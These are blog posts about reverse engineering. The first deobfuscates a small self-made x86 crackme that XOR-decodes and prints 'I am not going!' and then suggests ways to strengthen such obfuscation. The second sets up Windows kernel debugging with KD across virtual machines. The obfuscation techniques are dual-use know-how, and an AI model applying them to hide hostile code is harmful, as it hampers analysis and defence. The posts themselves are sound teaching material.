going-or-not-obf-test1.nasm:78: error: comma, colon or end of line expected

Looking at the lines that have caused the errors:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[email protected]:~# for i in 16 29 47 49 50 51 59 63 67 75 78; do cat -n going-or-not-obf-test1.nasm | grep "^[ ]*$i"; done
    16      mov    al,BYTE PTR [esi]
    29      jmp    DWORD PTR [esp]
    47      and    ebp,DWORD PTR gs:[edx]
    49      sub    ebp,DWORD PTR [edx]
    50      sub    DWORD PTR fs:0x654e0d64,esp
    51      and    ebp,DWORD PTR [edx]
    59      mov    BYTE PTR [esp],cl
    63      cmp    BYTE PTR [edx],al
    67      xor    BYTE PTR [edx],bl
    75      mov    cl,BYTE PTR [esi+edx*1]
    78      mov    BYTE PTR [esp],cl

You can see that its all lines that have [SIZE] PTR, we will remove any DWORD PTR and BYTE PTR and for the lines that had BYTE put that before the first operand, so they end up like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[email protected]:~# for i in 16 29 47 49 50 51 59 63 67 75 78; do cat -n going-or-not-obf-test2.nasm | grep "^[ ]*$i"; done
    16      mov    BYTE al, [esi]
    29      jmp    [esp]
    47      and    ebp, gs:[edx]
    49      sub    ebp, [edx]
    50      sub    fs:0x654e0d64,esp
    51      and    ebp, [edx]
    59      mov    BYTE [esp],cl
    63      cmp    BYTE [edx],al
    67      xor    BYTE [edx],bl
    75      mov    BYTE cl,[esi+edx*1]
    78      mov    BYTE [esp],cl

Now we try to assemble it again:

1
2
3
[email protected]:~# nasm -felf32 -o going-or-not-obf-test2 going-or-not-obf-test2.nasm  
going-or-not-obf-test2.nasm:47: error: invalid combination of opcode and operands
going-or-not-obf-test2.nasm:50: error: invalid combination of opcode and operands

So there is still a problem with 2 lines, it looks as if these instructions are invalid, this could possibly be data, what we shall do is replace these 2 instructions with the raw opcodes from the disassembly, so our application ends up like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
global _start

section .text

_start:
    mov    edx,eax
    mov    edi,0x25
    jmp    0x80480b6
    mov    bl,0x32
    pop    esi
    xor    eax,eax
    je     0x80480dc
    mov    bh,0x6a
    call   0x804808e
    mov    cl,0x4
    mov    BYTE al, [esi]
    sub    esp,ecx
    inc    ecx
    xor    al,cl
    xor    ecx,ecx
    cmp    eax,0x4
    je     0x8048099
    lea    ecx,[ebp-0xf]
    mov    dl,0x10
    jmp    0x8048097
    xor    ebx,ebx
    xor    ecx,ecx
    mov    edx,ecx
    jmp    [esp]
    jmp    0x804809e
    lea    ecx,[ebp-0x1b]
    mov    dl,0xc
    xor    eax,eax
    mov    al,0x8
    mov    ebx,0x4
    sub    eax,ebx
    sub    ebx,eax
    inc    ebx
    int    0x80
    xor    eax,eax
    xor    ebx,ebx
    inc    al
    int    0x80
    call   0x8048069
    in     eax,dx
    dec    esi
    db 0x65,0x23,0x2a
    sub    eax,0x3064232b
    sub    ebp, [edx]
    db 0x64,0x29,0x25,0x64,0x0d,0x4e,0x65
    and    ebp, [edx]
    sub    eax,0x2964232b
    and    eax,0x89ee0d64
    mov    ebp,eax
    mov    al,0xc9
    add    eax,edi
    jmp    0x8048101
    lea    edx,[ebp+0x0]
    mov    BYTE [esp],cl
    dec    esp
    push   0x80480e9
    test   edx,edx
    cmp    BYTE [edx],al
    je     0x8048070
    mov    ebx,edi
    add    ebx,0x1f
    xor    BYTE [edx],bl
    dec    edx
    ret    
    xor    ebp,ebp
    xor    ecx,ecx
    xor    edx,edx
    inc    edx
    lea    ebp,[esp+ecx*1]
    mov    BYTE cl,[esi+edx*1]
    cmp    cl,al
    je     0x80480e2
    mov    BYTE [esp],cl
    sub    esp,0x1
    inc    edx
    mov    esp,esp
    cmp    ecx,0x0
    jg     0x804810b
    mov    ebp,ebp
    ret

If we assemble this and test it out:

1
2
3
4
[email protected]:~# nasm -felf32 -o going-or-not-obf-test3.o going-or-not-obf-test3.nasm 
[email protected]:~# ld -o going-or-not-obf-test3 going-or-not-obf-test3.o
[email protected]:~# ./going-or-not-obf-test3
Segmentation fault

So it assembles and links now but we get a segmentation fault. Let's investigate why:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
[email protected]:~# gdb -q ./going-or-not-obf-test3
Reading symbols from /root/going-or-not-obf-test3...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/going-or-not-obf-test3 

Program received signal SIGSEGV, Segmentation fault.
0x080480b6 in _start ()
(gdb) x/i $eip
=> 0x80480b6 <_start+86>:   add    BYTE PTR [eax],al
(gdb) print/x $eax
$1 = 0x0
(gdb) disassemble 
Dump of assembler code for function _start:
   0x08048060 <+0>: mov    edx,eax
   0x08048062 <+2>: mov    edi,0x25
   0x08048067 <+7>: jmp    0x80480b6 <_start+86>
   0x0804806c <+12>:    mov    bl,0x32
   0x0804806e <+14>:    pop    esi
   0x0804806f <+15>:    xor    eax,eax
   0x08048071 <+17>:    je     0x80480dc <_start+124>
   0x08048077 <+23>:    mov    bh,0x6a
   0x08048079 <+25>:    call   0x804808e <_start+46>
   0x0804807e <+30>:    mov    cl,0x4
   0x08048080 <+32>:    mov    al,BYTE PTR [esi]
   0x08048082 <+34>:    sub    esp,ecx
   0x08048084 <+36>:    inc    ecx
   0x08048085 <+37>:    xor    al,cl
   0x08048087 <+39>:    xor    ecx,ecx
   0x08048089 <+41>:    cmp    eax,0x4
   0x0804808c <+44>:    je     0x8048099 <_start+57>
   0x08048092 <+50>:    lea    ecx,[ebp-0xf]
   0x08048095 <+53>:    mov    dl,0x10
   0x08048097 <+55>:    jmp    0x8048097 <_start+55>
   0x0804809c <+60>:    xor    ebx,ebx
   0x0804809e <+62>:    xor    ecx,ecx
   0x080480a0 <+64>:    mov    edx,ecx
   0x080480a2 <+66>:    jmp    DWORD PTR [esp]
   0x080480a5 <+69>:    jmp    0x804809e <_start+62>
   0x080480aa <+74>:    lea    ecx,[ebp-0x1b]
   0x080480ad <+77>:    mov    dl,0xc
   0x080480af <+79>:    xor    eax,eax
   0x080480b1 <+81>:    mov    al,0x8
   0x080480b3 <+83>:    mov    ebx,0x4
   0x080480b8 <+88>:    sub    eax,ebx
   0x080480ba <+90>:    sub    ebx,eax
   0x080480bc <+92>:    inc    ebx
   0x080480bd <+93>:    int    0x80
   0x080480bf <+95>:    xor    eax,eax
   0x080480c1 <+97>:    xor    ebx,ebx
   0x080480c3 <+99>:    inc    al
   0x080480c5 <+101>:   int    0x80
---Type <return> to continue, or q <return> to quit---
   0x080480c7 <+103>:   call   0x8048069 <_start+9>
   0x080480cc <+108>:   in     eax,dx
   0x080480cd <+109>:   dec    esi
   0x080480ce <+110>:   and    ebp,DWORD PTR gs:[edx]
   0x080480d1 <+113>:   sub    eax,0x3064232b
   0x080480d6 <+118>:   sub    ebp,DWORD PTR [edx]
   0x080480d8 <+120>:   sub    DWORD PTR fs:0x654e0d64,esp
   0x080480df <+127>:   and    ebp,DWORD PTR [edx]
   0x080480e1 <+129>:   sub    eax,0x2964232b
   0x080480e6 <+134>:   and    eax,0x89ee0d64
   0x080480eb <+139>:   mov    ebp,eax
   0x080480ed <+141>:   mov    al,0xc9
   0x080480ef <+143>:   add    eax,edi
   0x080480f1 <+145>:   jmp    0x8048101 <_start+161>
   0x080480f6 <+150>:   lea    edx,[ebp+0x0]
   0x080480f9 <+153>:   mov    BYTE PTR [esp],cl
   0x080480fc <+156>:   dec    esp
   0x080480fd <+157>:   push   0x80480e9
   0x08048102 <+162>:   test   edx,edx
   0x08048104 <+164>:   cmp    BYTE PTR [edx],al
   0x08048106 <+166>:   je     0x8048070 <_start+16>
   0x0804810c <+172>:   mov    ebx,edi
   0x0804810e <+174>:   add    ebx,0x1f
   0x08048111 <+177>:   xor    BYTE PTR [edx],bl
   0x08048113 <+179>:   dec    edx
   0x08048114 <+180>:   ret    
   0x08048115 <+181>:   xor    ebp,ebp
   0x08048117 <+183>:   xor    ecx,ecx
   0x08048119 <+185>:   xor    edx,edx
   0x0804811b <+187>:   inc    edx
   0x0804811c <+188>:   lea    ebp,[esp+ecx*1]
   0x0804811f <+191>:   mov    cl,BYTE PTR [esi+edx*1]
   0x08048122 <+194>:   cmp    cl,al
   0x08048124 <+196>:   je     0x80480e2 <_start+130>
   0x0804812a <+202>:   mov    BYTE PTR [esp],cl
   0x0804812d <+205>:   sub    esp,0x1
   0x08048130 <+208>:   inc    edx
   0x08048131 <+209>:   mov    esp,esp
   0x08048133 <+211>:   cmp    ecx,0x0
---Type <return> to continue, or q <return> to quit---
   0x08048136 <+214>:   jg     0x804810b <_start+171>
   0x0804813c <+220>:   mov    ebp,ebp
   0x0804813e <+222>:   ret    
End of assembler dump.

So it looks as if we've landed in the middle of an instruction.

Near the start of the application (on line 16 above), it jumps it a certain memory address which is the middle of an instruction. The resulting instruction, as seen on line 9, tries to move a value to the address pointed to by the EAX register.

On line 11 you can see that the value in EAX is 0, which is what caused the segfault, 0 is an invalid memory address.

The reason for this is because the original application jumped to static memory addresses, in the application the memory addresses are different so this will need to be fixed for the application to work.

What we need to do is replace any fixed memory addresses with labels. We can find where in the application the memory addresses are meant to go by looking at the original disassembly.

Once we have done this the resulting application is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
global _start

section .text

_start:
    mov    edx,eax
    mov    edi,0x25
    jmp    One
Two:
    mov    bl,0x32
    pop    esi
    xor    eax,eax
    je     Three
Eight:
    mov    bh,0x6a
    call   Nine
    mov    cl,0x4
    mov    BYTE al, [esi]
    sub    esp,ecx
    inc    ecx
    xor    al,cl
    xor    ecx,ecx
    cmp    eax,0x4
    je     Eleven
    lea    ecx,[ebp-0xf]
    mov    dl,0x10
    jmp    Twelve
Nine:
    xor    ebx,ebx
    xor    ecx,ecx
    mov    edx,ecx
    jmp    [esp]
Twelve:
    jmp    Ten
Eleven:
    lea    ecx,[ebp-0x1b]
    mov    dl,0xc
Ten:
    xor    eax,eax
    mov    al,0x8
    mov    ebx,0x4
    sub    eax,ebx
    sub    ebx,eax
    inc    ebx
    int    0x80
    xor    eax,eax
    xor    ebx,ebx
    inc    al
    int    0x80
One:
    call   Two
    in     eax,dx
    dec    esi
    db 0x65,0x23,0x2a
    sub    eax,0x3064232b
    sub    ebp, [edx]
    db 0x64,0x29,0x25,0x64,0x0d,0x4e,0x65
    and    ebp, [edx]
    sub    eax,0x2964232b
    and    eax,0x89ee0d64
    mov    ebp,eax
Three:
    mov    al,0xc9
    add    eax,edi
    jmp    Four
Six:
    lea    edx,[ebp+0x0]
    mov    BYTE [esp],cl
    dec    esp
Seven:
    push   Seven
    test   edx,edx
    cmp    BYTE [edx],al
    je     Eight
    mov    ebx,edi
    add    ebx,0x1f
    xor    BYTE [edx],bl
    dec    edx
    ret    
Four:
    xor    ebp,ebp
    xor    ecx,ecx
    xor    edx,edx
    inc    edx
    lea    ebp,[esp+ecx*1]
Five:
    mov    BYTE cl,[esi+edx*1]
    cmp    cl,al
    je     Six
    mov    BYTE [esp],cl
    sub    esp,0x1
    inc    edx
    mov    esp,esp
    cmp    ecx,0x0
    jg     Five
    mov    ebp,ebp
    ret

There are a couple of values here (on lines 55, 59 and 60) which look like memory addresses but they aren't valid memory addresses in the original disassembly so they could just be normal values or, as its in the same section as the invalid instructions, part of some data.

With this done we can test this application:

1
2
3
4
[email protected]:~# nasm -felf32 -o going-or-not-obf-test4.o going-or-not-obf-test4.nasm
[email protected]:~# ld -o going-or-not-obf-test4 going-or-not-obf-test4.o
[email protected]:~# ./going-or-not-obf-test4
I am not going!

So we have our answer, the author is not going :-)

Method 2: The Hard Way

Here we will attempt to understand the application and figure out what the application does without building and running it.

Although you would have needed some understanding of IA32 to do the previous method, obviously you will need a better understanding of it to do this.

The first step would be what we have already done. Well, there would be no need for the ability to assemble the application, or even have a valid nasm file but we would need to replace any known addresses with labels because this will make the disassembly significantly easier to read.

For this will we just use the nasm file above (going-or-not-obf-test4.nasm), just because it will make this post a little shorter :-)

What we do now is follow the control flow of the application and simplfy it as we go by replacing more complex sequencies with less complex 1's or even only 1 instruction in some cases and removing any dead instructions (instructions which have no effect on the application at all) altogether.

This process is manual deobfuscation and can be applied to small sections of applications instead of just full applications like the last method.

Let's start with the first instruction mov edx,eax, this looks like it is a junk line (or dead code) mainly because this is the first instruction of the application, if this was just a code segment instead of a full application this code would be more likely to be meaningful.

The second instruction mov edi,0x25, is also very difficult to quickly determine its usefulness to the application, what we need to do here is take note of the value inside the EDI register.

The next 4 instructions do something interesting, if you follow the control flow of the application and line the instructions sequentially you get:

1
2
3
4
5
6
  jmp    One
One:
  call   Two
Two:
  mov    bl,0x32
  pop    esi

So the 3rd instruction (on line 5) is not related here, and is similar to the previous mov instruction, just make a note that bl contains 0x32.

The other 3 instructions are using a technique used in some shellcode to get the an address in memory when the code might start at a different point in memory.

Its called the JMP-CALL-POP technique and gets the address of the address immediately following the call instruction into the register used in the pop instruction.

Knowing this we can replace the entire code above with:

1
2
  mov    bl,0x32
  mov    esi, One

Let's look at the next 4 instructions:

1
2
3
4
5
  xor    eax,eax
  je     Three
Three:
  mov    al,0xc9
  add    eax,edi

So here, on line 5, we use the EDI register, we zero EAX, set it to 0xc9 (201), adds it to EDI (0x25 or 37) and stores the result in EAX, this series of instructions are what is called constant unfolding where a series of instructions are done to work out the actual required value instead of just assigning the value to begin with.

We could use the opposite, a common compiler optimization constant folding, to decrease the complexity of this code, so these 4 instructions could be replaced by:

1
  mov    eax,0xee

The next 5 instructions are:

1
2
3
4
5
6
  jmp    Four
Four:
  xor    ebp,ebp
  xor    ecx,ecx
  xor    edx,edx
  inc    edx

This set of instructions just sets EBP and ECX to 0 and EDX to 1. Now its obvious that the instrction at the beginning was dead code because EDX hasn't been used at all and now it has been overwritten.

We can rewrite the application so far in a much more simplfied way:

1
2
3
4
5
6
7
8
_start:
  mov    edi,0x25
  mov    bl,0x32
  mov    esi, One
  mov    eax,0xee
  xor    ebp,ebp
  xor    ecx,ecx
  mov    edx,0x1

As you can see, this is much easier to read than the previous code that was jumping about all over the place.

I kept the assignment to EDI (on line 2) there because, although I've removed the need for it in assigning the value of EAX (on line 5), it still might be used in the future.

Also, the assignment to bl (on line 3) still might not be needed but we shall keep it there just incase.

Let's quickly review the state of the registers:

1
2
3
4
5
6
7
EDI = 0x25
BL = 0x32
ESI = (Address of One) One
EAX = 0xee
EBP = 0x0
ECX = 0x0
EDX = 0x1

The register state and code rewrite should be constantly updated as you go through the code.

The next instruction is lea ebp,[esp+ecx*1], which is the same as EBP = ESP + ECX * 1 or EBP = ESP + 0 * 1 or EBP = ESP.

After this instruction we enter the following loop:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Five:
  mov    BYTE cl,[esi+edx*1]
  cmp    cl,al
  je     Six
  mov    BYTE [esp],cl
  sub    esp,0x1
  inc    edx
  mov    esp,esp
  cmp    ecx,0x0
  jg     Five
  mov    ebp,ebp
  ret

So this first moves a byte at ESI + EDX * 1, which is basically just ESI + EDX, into the cl register. We know at this point the value inside EDX is 1 and that ESI points to some address in the middle of the application, so our loop will start getting data 1 byte after that address.

This byte is them compared with al, which we know is 0xee, and if they are the same execution will jump to Six.

Providing the jump to Six isn't taken, the byte is moved to the top of the stack (which ESP points to), ESP is adjusted accordingly, EDX is incremented by 1 and the loop is rerun.

The mov instruction on line 8 doesn't do anything, dead code which can be removed.

Now we can find all of the data that is being worked on here:

1
4e 65 23 2a 2d 2b 23 64 30 2b 2a 64 29 25 64 0d 4e 65 23 2a 2d 2b 23 64 29 25 64 0d ee

The starting address of this data is 80480bc in the original disassembly, which is 1 byte after the address of the instruction following the call instruction in the jmp-call-pop routine at the start of the application.

It ends with the ee value because this is the point at which the jump to Six is taken.

Also, notice that nowhere here is a 0x0 (or 00) byte, this means that the jg (jump if greater than) instruction on line 10 will always be taken, every byte there is above 0 so the 2 instructions after are dead code and can be removed from the analysis and the jg can be replaced with a jmp.

It is clear that this data, which is sitting in the middle of the application, is being put on the stack for some reason, the lea instruction right before the loop just saved the address pointing to the beginning of the new location of the data on the stack into the EBP register.

We could try to figure out how meaningful this data is now but it would be best to have a look to see what the application does with it first.

Now let's take the jump to Six:

1
2
3
  lea    edx,[ebp+0x0]
  mov    BYTE [esp],cl
  dec    esp

First it loads the address of the data on the stack, currently in EBP, into EDX.

cl, which is currently 0xee, is put onto the stack and ESP is adjusted accordingly.

We then enter into the 2nd loop:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Seven:
  push   Seven
  test   edx,edx
  cmp    BYTE [edx],al
  je     Eight
  mov    ebx,edi
  add    ebx,0x1f
  xor    BYTE [edx],bl
  dec    edx
  ret

This is a very unusual loop, you will only see this type of code when reversing obfuscated code.

It started by pushing its own address to the stack, this allows the ret on line 10 to return to Seven.

The test instruction on line 3 is dead code because all test does is set EFLAGS, but they are immediately overwritten by the cmp instruction that follows.

Lines 4 and 5 again test the value of a byte in the data, this time pointed to by EDX, against 0xee and jump's to Eight when its reached.

The next 2 instructions, lines 6 and 7, move the value from EDI into EBX and add's 0x1f to it. We already know that 0x25 is currently in EDI, so EBX = 0x25 + 0x1f or EBX = 0x44.

The byte in the data is then xor'd with bl (or 0x44) and EDX is decremented.

Clearly this is a simply xor encoding of the data, I wrote a python script a while ago to xor a number of bytes with 1 byte and output both the resulting bytes as ascii characters, and the same but with the characters reversed (due to little endian architectures), here is the script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#!/usr/bin/env python

import sys

string = sys.argv[1]
xor = sys.argv[2]
decoded = ""

for c in string:
    decoded += chr(ord(c) ^ ord(xor))


print "String as is:"
print decoded

print "\n\nString reversed:"
print decoded[::-1]

This script is very simple, 1 thing to bare in mind though is that, because we are dealing with data outside of the printable ascii range (0x20 - 0x7e), we can just type the characters on the command line.

So we run the script like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[email protected]:~# python xor-and-ascii.py $(python -c 'print "\x4e\x65\x23\x2a\x2d\x2b\x23\x64\x30\x2b\x2a\x64\x29\x25\x64\x0d\x4e\x65\x23\x2a\x2d\x2b\x23\x64\x29\x25\x64\x0d"') $(python -c 'print "\x44"')
String as is:

!gniog ton ma I
!gniog ma I


String reversed:
I am going!
I am not going!

So now we know what that data is in the middle of the application, clearly it was done like this to confuse but we have reversed enough of the application now to figure out what this is.

With this is mind, we no longer need those 2 loops, or any of the code aimed at moving and decoding the data, we can simply put it in as is.

Let's review our rewritten application:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
_start:
  mov    edi,0x25
  mov    esi,One
  mov    ebp,not+0xf
  mov    ebx,0x44
  mov    ecx,0xee
  mov    eax,ecx
  mov    edx,am
One:
  db 0xed
  am: db "I am going!",0xa
  not: db "I am not going!",0xa

I have obviously removed most of the code because it simply isn't needed now, I've made sure that EBP still points to the end of the data and EDX to the beginning just incase there is some reason for this, but most of the code so far was devoted to decoding the data which is no longer needed.

Now for the registers:

1
2
3
4
5
6
7
EDI = 0x25
EBX = 0x44
ESI = (Address of One) One
EAX = 0xee
EBP = (Address of the end of the data) not+0xf
ECX = 0xee
EDX = (Address of the beginning of the data) am

The next 5 instructions show another weird use of call and jmp:

1
2
3
4
5
6
7
8
Eight:
  mov    bh,0x6a
  call   Nine
Nine:
  xor    ebx,ebx
  xor    ecx,ecx
  mov    edx,ecx
  jmp    [esp]

Firstly there is an assignment to bh (the second 8 bits of the EBX register) but then, on line 5, the whole EBX register is cleared using xor so line 2 is dead code.

The call instruction on line 3 and the jmp instruction on line 8 seem to be used just to confuse the reverser, there is no reason for this, but bare in mind that this would have stuck 4 bytes on the stack, next to the decoded data, which hasn't been cleaned up (this could effect the application in some way).

The rest of this code just zero's out EBX, ECX and EDX.

The next 8 instructions are very interesting:

1
2
3
4
5
6
7
8
  mov    cl,0x4
  mov    BYTE al, [esi]
  sub    esp,ecx
  inc    ecx
  xor    al,cl
  xor    ecx,ecx
  cmp    eax,0x4
  je     Eleven

Lines 1 and 3 fix the value of ESP after the call, jmp sequence earlier.

The rest xor's 0x5 with the byte at One and compares the result with 0x4. We can test this out in python, we know the byte at One is 0xed, so:

1
2
3
4
5
6
7
8
[email protected]:~# python
Python 2.7.3 (default, Mar 14 2014, 11:57:14) 
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = "\xed"
>>> b = "\x05"
>>> hex(ord(a) ^ ord(b))
'0xe8'

This isn't equal to 0x4 so the jump on line 8 will not be taken.

The next instruction lea ecx,[ebp-0xf] loads EBP - 16 into ECX, ECX will now point to somewhere in the middle of the data (it will actually point 16 characters from the end, which is the start of the string I am not going!).

We can probably guess at what this is going to do from here but let's finish the analysis.

0x10 is then loaded into EDX and then 2 unconditional jumps are taken:

1
2
3
  jmp    Twelve
Twelve:
  jmp    Ten

The only reason for these jumps is to confuse the reverser, we can just ignore them.

The next 7 lines is a very important part of the application:

1
2
3
4
5
6
7
  xor    eax,eax
  mov    al,0x8
  mov    ebx,0x4
  sub    eax,ebx
  sub    ebx,eax
  inc    ebx
  int    0x80

So lines 1-4 set EAX to 0x4, lines 5 and 6 set EBX to 0x1 and then the interrupt *0x80 is initiated.

Interrupt 0x80 is a special interrupt which initiates a system call, the system call number has to be stored in EAX, which is 0x4 at this moment in time.

We can figure out what system call this is:

1
2
[email protected]:~# grep ' 4$' /usr/include/i386-linux-gnu/asm/unistd_32.h 
#define __NR_write 4

This makes sense, the prototype for this syscall is:

1
ssize_t write(int fd, const void *buf, size_t count);

Each of the arguments go in EBX, ECX and EDX. So to write to stdout, EBX should be 1 which it is.

ECX should point to the string, which it currently points to I am not going!, and EDX should contain the number of characters to print which it does.

The last 4 instructions just run another syscall, exit, you can check this yourself if you wish:

1
2
3
4
  xor    eax,eax
  xor    ebx,ebx
  inc    al
  int    0x80

Obviously we can now wrtie this in a much simpler way, but there is no need, we know exactly what this application does and how it does it.

Improving Obfuscation

As I mentioned earlier, the obfuscation could have been done better to make the reversing process harder. I actually purposefully made the obfuscation weaker than I could have to make the challenge easier.

Inserting more junk data inbetween some instructions could make the static disassembly significantly more difficult to read and understand.

I have to actually add a byte (0x89) at the end of the data section because the next few instructions were being obfuscated in a way that made them unreadable:

1
2
3
4
5
6
 80480d5:   25 64 0d ee 89          and    eax,0x89ee0d64
 80480da:   c5 b0 c9 01 f8 eb       lds    esi,FWORD PTR [eax-0x1407fe37]
 80480e0:   1f                      pop    ds
 80480e1:   8d 55 00                lea    edx,[ebp+0x0]
 80480e4:   88 0c 24                mov    BYTE PTR [esp],cl
 80480e7:   4c                      dec    esp

The disassembly shown here has had the last byte of the data removed and is the last line of the data section; and a few lines after.

As you can see the byte following the data section has been moved to the data section and as a result the next few instructions have been incorrectly disassembled.

This method can be implemented throughout the whole application, making most of the instructions disassemble incorrectly.

Constant unfolding could be improved here, for instance:

1
2
3
4
5
6
  mov    al,0x8
  mov    ebx,0x4
  sub    eax,ebx
  sub    ebx,eax
  inc    ebx
  int    0x80

Could be rewritten to:

1
2
3
4
5
6
7
8
9
  push 0xff7316ca
  xor [esp], 0x8ce931
  mov eax, 0xffffffff
  sub eax, [esp]
  push eax
  shl [esp], 0x4
  sub [esp], 0x3f
  pop ebx
  int 0x80

They both do the same thing but the second is a little harder to read, you could obviously keep extending this by implementing more and more complex algorithms to work out your required value.

This can also be applied to references to memory addresses, for instance, if you want to jump to a certain memory address, do some maths to work out the memory address before jumping there.

More advanced instructions could be used like imul, idiv, cmpsb, rol, stosb, rep, movsx, fadd, fcom... The list goes on...

The MMX and other unusual registers could have been taken advantage of.

Also, the key to decrypt the data could have been a command line argument or somehow retreived from outside of the application, this way it would have been extremely difficult decode the data.

Conclusion

There are sometimes easier ways to get a result other than reversing the whole application, maybe just understanding a few bits might be enough.

Although there are ways to make the reversers job more difficult, its never possible to make it impossible to reverse, providing the reverser is able to run the application (if the CPU can see the instructions, then so can the reverser).

A good knowledge of assembly is needed to do any type of indepth reverse engineering.

Further Reading

Reversing: Secrets of Reverse Engineering by Eldad Eilam

Intel® 64 and IA-32 Architectures Developer's Manual

Usermode Application Debugging Using KD

By: 0xe7
24 September 2014 at 19:42

I have started the Windows kernel hacking section with a simple explaination of the setup and a quick analysis of the crackme, that we analysed here, using the kd.exe kernel debugger.

I chose to do this instead of any actual Windows kernel stuff because its a steep learning experience learning how to use KD so its probably best to look at something you have already seen.

Setting Up The Environment

For this post I will be using a total of 4 machines, 3 virtual machines using VMware Player (you probably could use Virtualbox for this also though) hosted on a reasonably powerful machine and a laptop.

You can however do all of this with just 1 physical machine, hosting 1 virtual machine and I will explain the differences in the setup afterwards but I'll first explain the setup I am using.

Here is a visual representation of the network:

So I have 3 virtual machines on my machine running VMware Player:

1 Kali Linux, 1 Windows XP Professional and 1 Windows 7 Home Edition. All 3 of these are 32bit, although it doesn't matter but to follow along you would probably want the debuggee (the Windows 7 machine in my setup) to be 32bit. In my 2 machine setup described below the host (and debugger) is a Windows 7 64bit machine.

The Kali machine has 2 network interfaces, 1 setup in Bridged mode (so that I can SSH directly to it):

And the other setup in Host-only mode (So that it has access to the other 2 machines):

The Windows XP machine has 1 network interface setup in Host-only mode:

And the same for the Windows 7 machine:

The Windows XP and Windows 7 machines are also connected via a virtual serial cable, this is for the debugger connection.

The Windows XP machine will be the client (or the debugger):

And the Windows 7 machine will be the server (or the debuggee):

The Windows 7 machine needs both Visual Studio Express 2013 for Windows Desktop and the Windows Driver Kit (WDK) installed on it. You can get them both here.

The Windows XP machine needs Microsoft Windows SDK for Windows 7 installed, which you can get here. To install this you need to install the full version of Microsoft .NET Framework 4, which you can get here (Bare in mind that you might need an internet connection while you install these so just change the network adaptor configuration to NAT and then once it is installed change it back to Host-only again).

If the debugger is a Windows 7 machine then you will need to install the same software as on the debuggee.

Once these are installed, its best to add the path to the kd.exe application to the PATH variable.

You do this by going in to the properties of My Computer and, on Windows 7 going to Advanced system settings->Environment Variables... or on Windows XP going to Advanced->Environment Variables... and scroll down the Path and click Edit.

The path on Windows 7 should be something like C:\Program Files\Windows Kits\8.1\Debuggers\x86 and on Windows XP C:\Program Files\Debugging Tools for Windows (x86).

For remote administration I've installed TightVNC on both of the Windows machines.

I set it up with access through a Kali machine so that I can setup SSH tunnels and get VNC access to the Windows machines without giving them access to the outside network.

After TightVNC is up and running on your Windows machines, you can setup the SSH tunnels like this (For this explaination we'll imagine that the Windows XP machine is on the VMware virutal network with an IP of 172.16.188.130, the Windows 7 machine is on 172.16.188.131 and that our Kali machine is also on this network):

1
2
[email protected]:~# ssh -f [email protected] -L 5900:172.16.188.130:5900 -N
[email protected]:~# ssh -f [email protected] -L 5901:172.16.188.131:5900 -N

Now if you VNC to 127.0.0.1 you will have access to the Windows XP machine and to 127.0.0.1:1 you will have access to the Windows 7 machine.

1 VM Setup

You can also setup this up with 2 machines, the VMware host (running Windows, which will be the debugger) and the VMware guest (also running Windows, which will be the debuggee).

The serial port configuration for the debuggee in VMware in this setup should look like this:

Notice the different file path and name for Windows, the other end should be set to The other end is an application and Yeild CPU on poll should be checked.

The only other thing that is different is the command you will use to launch KD on the debugger (we haven't got to that but it is shown below for my 4 machine setup), you should instead use kd -k com:port=\\.\pipe\com_1,pipe.

Using KD

On Windows 7 (the debuggee) you will need to tell it to lanuch the debugger on boot, for this you need to run an Administrator command prompt and:

1
2
3
4
5
C:\Windows\system32>bcdedit /dbgsettings SERIAL DEBUGPORT:2 BAUDRATE:115200
The operation completed successfully.

C:\Windows\system32>bcdedit /debug on
The operation completed successfully.

The DEBUGPORT:2 option here is the port number of the COM port that you are going to use, for me it was COM2 hence the number 2.

Now we launch the kernel debugger on the Windows XP machine (this is the command that is different on the 2 machine setup):

1
2
3
4
5
6
7
C:\Documents and Settings\User>kd -k com:port=1,baud=115200

Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

Opened \\.\com1
Waiting to reconnect...

Again the port=1 option here is the COM port that you are going to be using, I will be using COM1 on this machine hence the 1.

Then reboot the Windows 7 machine and watch the KD terminal on the Windows XP machine:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Connected to Windows 7 7601 x86 compatible target at (Fri Sep 26 14:43:59.625 20
14 (UTC + 1:00)), ptr64 FALSE
Kernel Debugger connection established.
Symbol search path is: SRV*C:\websymbols*http://msdl.microsoft.com/download/symb
ols
Executable search path is:
Windows 7 Kernel Version 7601 (Service Pack 1) MP (1 procs) Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS Personal
Built by: 7601.18409.x86fre.win7sp1_gdr.140303-2144
Machine Name:
Kernel base = 0x82814000 PsLoadedModuleList = 0x8295d5b0
Debug session time: Sun Dec 29 22:42:59.976 1985 (UTC + 1:00)
System Uptime: 0 days 0:02:14.490

